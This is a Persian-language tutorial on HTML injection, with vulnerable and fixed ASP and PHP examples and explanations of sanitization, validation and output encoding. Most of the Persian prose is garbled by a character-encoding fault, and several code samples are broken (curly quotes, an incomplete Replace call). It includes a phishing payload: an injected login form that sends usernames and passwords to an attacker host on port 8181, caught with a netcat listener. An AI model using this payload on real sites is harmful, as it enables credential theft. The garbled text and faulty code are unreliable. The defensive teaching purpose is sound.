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1 مقذمه 

ًمغ تضسیك،پزیشیآسیة تشًاهِ دس ضؼفيِ ّایدادُ تفسیش ٍ اجشا اجاصُ وِ تاضٌذهيٍبّای

 ًفَرگشاى تَسظّاپزیشیآسیة ایي.دّذهيجَ،ٍپشس یا دستَس یه اص تخطي ػٌَاى تِ سا اػتوادغیشلاتل

ایجاد تِ  اص آى ًتیجِ وِ گیشدهيلشاس تشداسیتْشُ هَسد هخشب، ٍجَیپشس یا دستَس یه ٍسیلِ

پاسخ ّا،دادُ دادىدست .استدست ایي اص هَاسدی ٍ دستشسي اصجلَگیشی گَیي،ػذم  اص تشداسیتْشُتا

اهٌیتي صًم ایي ٍ ًَضتي، خَاًذى، دستشسي ساحتي تِ تَاًذهيًفَرگش،  سا اعلاػات تشٍصسساًيحزف

 غیشُ.ٍ SQL  تضسیك ،htmlدستَسات تضسیكػثاستٌذاص حولاتًَع ایي اص تشخي. تاضذ داضتِ

html 2تزریق  حملات  

هْاجنتٌْا،htmlاستتاایيتفاٍتوِدسحولاتًَعًَػياصحولاتتضسیكوذhtmlتضسیك

.ساتِػٌَاىٍسٍدیواستشتضسیكوٌذhtml ّایتگلادساست

تَاىتِدٍدستِوليتمسینوشد:ایيحولاتساهي

 حولاتتضسیك html سوتسشٍس.

 حولاتتضسیكhtmlسوتولایٌت.

 سوتسشٍس html حولاتتضسیك 2-1

دادٍُسٍدیواستشتَسظسشٍسپشداصشضذُسپسهفسشهشٍسگش،دسحولاتتضسیكوذسوتسشٍس

وذتضسیكضذُتَسظهْاجنتِواستشًوایصhtmlپاسخ هغاتكتا دسیافتوشدٍُصفحاتٍبسا سا

تَاًذاصاستفادُوٌذوِاصایيعشیكهي payloadیّوچٌیيیههْاجنهوىياستاصحیلِ.ّذهي

اگشوٌذ.اعلاػاتضخصيواستشاىسَءاستفادُوٌذیااصاعلاػاتتذستآهذُدسحولاتدیگشاستفادُ

ٍب هذیش فشیة تِ هَفك هْاجن یه گشدد حولاتيسشٍس اػتثاسّایهيچٌیي افطای تِ هٌجش تَاًذ

.خصَصيٍبسشٍسضَد
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جلَگیشیاصحولاتتضسیكسوتسشٍسجْت تش، خشٍجيٍسٍدی  ػلاٍُ ّایواستش، تایستيّا ًیض

اػتثاسسٌجيضًَذ.

سوتولایٌتhtmlحولاتتضسیك 2-2

ضَدچَىتضسیكهتشجنیاتضسیكجاٍااسىشیپتًیضگفتِهي،تضسیكوذسوتولایٌتتِحولات

وذّایجاٍااسىشیپتٍاسدضذُتَسظولایٌتًیاصتِپشداصشسوتسشٍسًذاسًذ.

ّیچتاثیشیًذاسًذ.اگشچِسٌاسیَّایيّستٌذػوَهاحولاتتضسیكوذسوتولایٌتسٍیسشٍس

سوتسشٍسساتخشیةوٌذیىياصایيحولاتّایدادُ،تضسیكوذسوتولایٌتتَاًذتاوِهْاجنهي

گشحولِتایذتتَاًذایيسٌاسیَّاساضٌاسایيوشدُتضسیكوذجاٍااسىشیپتسوتسشٍساست.یهپَیص

تشٍصآًْاجلَگیشیوٌذ.ٍاص

html 3تزریق  پذیزی آسیبمشکل حل چگونه  

 استشدیٍجَدداسًذوّایدستشًاهhtmlًِاضياصتضسیكیشیپزآسیةواّصجْتچٌذیيتىٌیه

استفادُاصیىياصایيتىٌیهوِ وافيًیستتلىِتایذتاhtmlجلَگیشیاصتضسیكجْتتٌْایيِتّا

ایيتىٌیههجوَػِ،تَجِتِتشًاهِواستشدیهَسداستفادُ ایاص ّا ًوَد. استفادُ ایيسا چٌذًوًَِاص

 ػثاستٌذاص:ّاتىٌیه

 پاوساصی.

 اػتثاسسٌجي.

 وذگزاسی.

 ساصیپان 3-1

هيواستشدیًااّایواستشتایستياستاًذاسدٍهجاصتاضذدسغیشایٌصَستتَسظتشًاهِّایٍسٍدی

ًظشگشفتِضذُ ًوي،دس دستَساتوًِويتِّویيدلیلهجوَػِگشدد.اجشا ػثاساتٍ تَاًٌذتِایاص

.ضًَذهيًاهیذُ،آٍسیضذٍُتِاصغلاحلیستسفیذآسیةتضًٌذجوغواستشدیّایتشًاهِ



  htmlتزریق 

3 

 

 
 

لیستسفیذ،ٍسٍدیواستشتاػٌاصشلیستسفیذهمایسِهي ضَددسصَستهغایشتَدىٍسٍدیتا

 ضَدوًِطاىدٌّذٍُسٍدیًااهيًٍاهؼتثشاست.جایگضیيهيnullهمذاسٍسٍدیتا

اػتثاسسٌجي 3-2

پان،ّایضَدوِیهتشًاهِتشسٍیدادُهيتضویيشآیٌذیاستوِعيآىفّااػتثاسسٌجيدادُ

 اجشا هفیذ، اػتثاسسٌجيدادُهيصحیحٍ ضَد. سٍالّا اػتثاسسٌجيهيّایياستفادُاص لَاػذ وِ وٌذ

 .وٌٌذهيّایيوٍِسٍدیسیستنّستٌذساتشسسيّاصحت،هؼٌاٍاهٌیتدادُضًَذ.ایيسٍالهيًاهیذُ

اػتثاسسٌجيجْتحلهٌاسثيساُتفادُاصػثاساتهٌظناًجاماػتثاسسٌجيٍسٍدیٍتصفیِتااس

تواستشّستٌذ.لاػافیلذّایهتٌيهاًٌذاسن،آدسس،ضواسُتلفيٍدیگشاع

:ضَداًجامهَاسدصیشاستفادُهيجْتاصػثاساتهٌظن

 ٍُسٍدیواساوتشّایتشایلثَللاتلهحذٍدوشدىتاص.

 ًیاصهٌذهثالػٌَاىتِ:تٌذیاػواللَاًیيلالة غیشُ وذپستيٍ هاًٌذوذهلي، فیلذّا

ذ.الگَیهخصَصيتشایواساوتشّایٍسٍدیّستٌ

 ُتشسسيعَلداد. 

  وذگزاسی 3-3

دادُ هيّای جایگضیي دیگش ػثاسات تا یا ضذُ وذگزاسی واستش تَسظ ٍاسدضذُ گشدد.غیشهجاص

تَسؼِ تضسیك اثشپزیشی واّص تشای ٍب htmlدٌّذُ تىٌیه، اص استفادُ ضوي تایستي واّصّای

تِهَاسدصیشتَجِداضتِتاضذ:پزیشیآسیة

 دسّشفشم،(ًَعپاساهتشّایاسساليget or postتایستيهطخصگشدددسصَست)وًَِعي

 گیشد.اًجامهيgetصَستِفشضاسسالپاساهتشّاتپاساهتشهطخصًطَدتصَستپیص

 ساصیضَد.واستشپانّایتایستياصٍسٍدی“واساوتش 

 ٍُسٍدیواستشتایذهحذٍدگشدد.ّایعَلداد 
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4 کاربزدی مختلفهای  بزنامهدر   htmlزریق کذ ت 

هَسدaspٍphpدسدٍتشًاهِواستشدیhtmlدسایيتخصسٌاسیَّایهختلفياصحولِتضسیك

گیشد.هيتشسسيلشاس

 .aspتشًاهِواستشدی دسhtmlپزیشدستشاتشحولِتضسیكتحلیلیهًوًَِوذآسیة 4-1

<html lang="en">  

<head>  

<title> ASP HTML Injection </title>  

</head>  

<body>  

<% Dim name  

name = Request.QueryString("name")  

Dim message  

message = "Hello, I am a vulnerable application, " + name  

%>  

<div>  

<% = message %>  

</div>  

</body>  

</html>

سادٍتاسُفشخَاًيوٌذهشٍسگشتذٍىvulnerableاگشواستشتاهمذاسدّيپاساهتشتِضىلصیشفایل

دّذ.خشٍجيساًوایصهي،وذگزاسیاػتثاسسٌجيٍسٍدیواستشٍتذٍىاستفادُاص

http://localhost:8185/inject/vulnerable.asp?name=ali

دس htmlتضسیك یهوذ htmlهْاجن تؼٌَاى گشفتِ payloadسا ًظش فشاخَاًي،دس سا فایل

وٌذهي . هثال هيpayloadتؼٌَاى پاساهتش تِ وِ تاضذ فشم ٍ تگ چٌذیي ضاهل وذ یه  تَاًذ

nameدّذتاتتَاًذاعلاػاتهحشهاًِواستشضَدٍخشٍجيصفحٍِبساتٌحَیتغییشهيهيدادُپاس

ساتذستآٍسد.

http://localhost:8185/inject/vulnerable.asp?name=<b>Query 

String</b><br><br> 
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<b>Enter your mail Username and Password:<br><br> 

<form action="http://192.168.119.128:8181" method="GET"> 

<input type="text" name="email" placeholder="Your Username"><br> 

<input type="password" name="password"><br> 

<input type="submit" value="Submit"></form>

ضذُوِهْاجنسٍیسشٍسهطخصتٌظینضذُاستدسصَستيgetاصآًجاوِػولیاتفشمتشسٍی

گَشدّذػلاٍُتشًام8181تااستفادُاصدستَسصیشتِپَست192.168.119.128دستگفشمتاآیپي

تَاًذاصآًْاسَءاستفادُهشتَطتِوَويواستشاىدستشسيپیذاوشدٍُهيّایواستشیٍپسَسدتِدادُ

.وٌذ

root@user#Netcat –lvp 8181 

ساصیٍسٍدیتاپان  aspوذپزیشیآسیةواّص 4-1-1

<head> 

<title> asp   html injection   </title> 

</head> 

<body> 

<% dim name 

 Set re=server.createobject(“vbscript.regexp”) 

  Name=request.querystring(“name”) 

Re.pattern=”[^a-zA-Z1-9\.\-]” 

Name=replace(name,””) 

Dim message; 

Message=”hello ,I am a vulnerable application, “+name 

%> 

<div> 

<% =message %> 
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</div> 

</body> 

تشًاهِتِصتاىلغؼِوذفَقًوًَِ  تغاتكپاساهتشّای،استوِهتشجنهشٍسگشلثلاصاجشاaspایاص

لیستسفیذتشسسيوشدٍُدسصَستتاػٌاصشهَجَددس(payload)ضذُتِتشًاهِواستشدیدادُپاس

ًوایذ.ساصیهيجایگضیيوشدٍُایويNullػذمتغاتكآىساتا

.هْاجنتطىلصیشتاضذتَسظاسسالضذpayloadُدسصَستیىِ

<b>Inject</b>

تصَست آىسا وٌذساصیهيپان <b>inject</bهشٍسگش ٍ ًتیجِ وذ ایي،هغاتكضىلصیشدس

html.لاتلاجشاًیست



فشض اگش حال payloadوٌین تاضذ<b>Inject</b>>تصَست تطىل، سا آى هشٍسگش

<b>Inject</b>استساصیهيپان افتادُ اتفاق تضسیكوذ استٍ لاتلاجشا وذ ّن ٍليتاص .وٌذ

پزیشاست.فَقٌَّصآسیةaspتٌاتشایيوذ



وِپانّواىاًذِت واّصاصُ تضسیكپزیشیآسیةساصیٍسٍدیدس استhtmlوذًاضياص هَثش

تاثیشگزاسخَاّذتَد.،خشٍجيوذگزاسیاػتثاسسٌجيخشٍجيیا
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 خشٍجيتااستفادُاصوذگزاسیaspوذپزیشیآسیةواّص 4-1-2



<head> 

<title> asp   html injection   </title> 

</head> 

<body> 

<% dim name 

  Name=request.querystring(“name”) 

Dim message; 

Message=”hello ,I am a vulnerable application, “+server.htmlencode(name) 

%> 

<div> 

<% =message %> 

</div> 

</body>



ٍوٌذ(سادسخَدرخیشُهيpayloadهمذاساسسالضذُتَسظواستش)،nameدسایيهثالپاساهتش

ایيتاتغدسسوتسشٍسگشدد.تِسشٍساسسالهيوذگزاسیتشایserver.htmlencodeتَسظدستَس

تِسضتِ واساوتشّایاستاًذاسدسضتٍِسٍدیسا تؼٌَاىهثالاگشثذیلهيتHtmlایتا payloadوٌذ.

تضسیك<b>inject</b>تصَست ٍهَفمیتhtmlتاضذ ًثَدُ ًوآهیض واستش تِ ایصدادُػثاستػیٌا

خَاّذضذ.
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دسایيسٍش،هیاًثشاتفاقافتادpayloadساصیٍسٍدیتشاثشٍاسدوشدىٍشپانهطىليوِدسس

 واستش ٍسٍدی اگش یؼٌي ًذاسد <b>inject</b>>ٍجَد تضسیك حولِ صیش ضىل هغاتك htmlتاضذ

آهیضًخَاّذتَد.هَفمیت



خشٍجيوذگزاسیساصیٍسٍدیٍپانّایتشویةتىٌیه 4-1-3

هَثشًیستhtmlتضسیكتٌْایيدسجلَگیشیاصحولِِسٍدیتساصیٍتاتَجِتِایٌىِتىٌیهپان

تىٌیه تا آى ادغام سَءخشٍجيهيوذگزاسی تشاتش دس حساسواستشاى ٍ ضخصي اعلاػات اص تَاًذ

استفادُهْاجنهحافظتوٌذ.

 ًوًَِ تلفیكتىٌیهaspوذ تا صیش ساصپانّای حولاتوذگزاسییٍسٍدیٍ تشاتش خشٍجيدس

ساصیضذُاست.ایويhtmlتضسیك

<head> 

<title> asp   html injection   </title> 

</head> 

<body> 

<% dim name 

 Set re=server.createobject(“vbscript.regexp”) 

  Name=request.querystring(“name”) 

Re.pattern=”[^a-zA-Z1-9\.\-]” 

Name=replace(name,””) 

Dim message; 

Message=”hello ,I am a vulnerable application, “+server.htmlencode(name) 
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%> 

<div> 

<% =message %> 

</div> 

</body>



تَاىاصوٌتشلّایواسگضاسهيضذُتاوٌتشلّایدسیافتتِهٌظَساػتثاسسٌجيٍسٍدیasp.netدس

RegularExpressionValidator ّوچٌیيتشایاػتثاسسٌجيدیگشاًَاعٍسٍدیهاًٌذ شد.استفادُو

QueryString،وٌتشلوَوي ٍ ٍسٍدیّا HTMLّای اص  .system.textولاس

RegularExpressions.regexًوَد.استفادُتَاىهي

 phpتشًاهِواستشدیدسhtmlپزیشدستشاتشحولِتضسیكتحلیلًوًَِوذآسیة 4-2

.صیشسادسًظشتگیشیذ phpوذ

<?php 

     $name=$_request(„name‟); 

?> 

<html><head><title>  php code for html injection</title></head> 

<body> 

<div>hello, <?php echo $name; ?></div> 

</body> 

</html> 



وذایي تضسیك، phpلغؼِ اسسالوذآسیةhtmlًسثتتِ اص استفادُ تا هْاجن استصیشا پزیش

htmlتشایپاساهتشتِػٌَاىٍسٍدیnameًوایذ.هخشبهيّای،تشًاهِواستشدیساٍاداستِاجشایوذ
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 phpوذّایپزیشیآسیةساصیٍسٍدیتوٌظَسواّصتىاسگیشیتىٌیهپان 4-2-1

پانجْت payloadساصی دس دستَسهي phpٍسٍدیواستش اص ٌگامّ()htmlentities تَاى

.دسیافتٍسٍدیاستفادًُوَد

<?php 

  $name=htmlentities($_request[„name‟]); ?> 

تؼٌَاىسضتhtmlِدستَسفَقوذ َليوِلاتلیتاجشاهؼوایاصواساوتشٍاسدضذُتَسظواستشسا

ضَد.هيػثاستػیٌاتِواستشًوایصدادُگشفتًٍِذاسددسًظش

phpوذّایپزیشیآسیةساصیخشٍجيتوٌظَسواّصتىاسگیشیتىٌیهپان 4-2-2

هفَْم.اػتثاسسٌجيخشٍجيیاوذگزاسیخشٍجيهتفاٍتاستهفَْمساصیخشٍجيتاهفَْمپان

استشاست.ِوآىتسیاسًضدیهتِفشاسیافیلتشوشدىواساوتشّایغیشهجاصٌّگامپشداصشٍلثلاصًوایصت

اًجامگیشد.صیشتَاًذٌّگامچاجخشٍجيتِصَستساصیهيػولیاتپان

<div>hello,<?php   echo htmlentities($name);   ?></div> 

   phpوذّایپزیشیآسیةٍخشٍجيتوٌظَسواّصساصیٍسٍدیپانّایادغامتىٌیه 4-2-3

تىٌیه ایي دٍ ّش اص استفادُ حولاتتضسیكّا اص جلَگیشی صیادیدس تاثیش خَاٌّذ htmlتاّن

 .داضت

<?php 

     $name= htmlentities($_request[„name‟]); 

?> 

<html><head><title>  php code for html injection</title></head> 

<body> 

<div>hello, <?php echo htmlentities($name);    ?></div> 

</body> 

</html>
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